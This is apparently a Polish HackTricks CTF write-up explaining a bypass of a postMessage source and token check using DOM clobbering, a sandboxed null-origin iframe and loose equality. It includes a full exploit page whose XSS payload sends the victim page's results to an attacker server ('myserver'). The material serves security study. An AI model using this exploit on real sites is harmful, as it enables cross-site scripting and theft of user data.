Bypassing SOP with Iframes - 2

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Ramki w SOP-2

W rozwiązaniu dla tego wyzwania, @Strellic_ proponuje podobną metodę do poprzedniego rozdziału. Sprawdźmy to.

W tym wyzwaniu atakujący musi obejść to:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

Jeśli tak, może wysłać postmessage z treścią HTML, która zostanie zapisana na stronie za pomocą innerHTML bez oczyszczania (XSS).

Sposób na ominięcie pierwszej weryfikacji polega na ustawieniu window.calc.contentWindow na undefined i e.source na null:

  • window.calc.contentWindow to tak naprawdę document.getElementById("calc"). Możesz nadpisać document.getElementById za pomocą <img name=getElementById /> (zauważ, że API Sanitizer -tutaj- nie jest skonfigurowane do ochrony przed atakami na nadpisywanie DOM w domyślnym stanie).

  • Dlatego możesz nadpisać document.getElementById("calc") za pomocą <img name=getElementById /><div id=calc></div>. Wtedy window.calc będzie undefined.

  • Teraz musimy sprawić, żeby e.source było undefined lub null (ponieważ używane jest == zamiast ===, null == undefined jest True). To jest "łatwe" do osiągnięcia. Jeśli utworzysz iframe i wyślesz z niego postMessage, a następnie natychmiast go usuniesz, e.origin będzie null. Sprawdź poniższy kod.

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Aby ominąć drugą kontrolę dotyczącą tokenu, należy wysłać token z wartością null i ustawić wartość window.token na undefined:

  • Wysłanie token w postMessage z wartością null jest trywialne.

  • window.token jest wywoływane w funkcji getCookie, która używa document.cookie. Należy zauważyć, że dostęp do document.cookie na stronach o pochodzeniu null powoduje błąd. Spowoduje to, że window.token będzie miało wartość undefined.

Ostateczne rozwiązanie autorstwa @terjanq znajduje się tutaj:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Last updated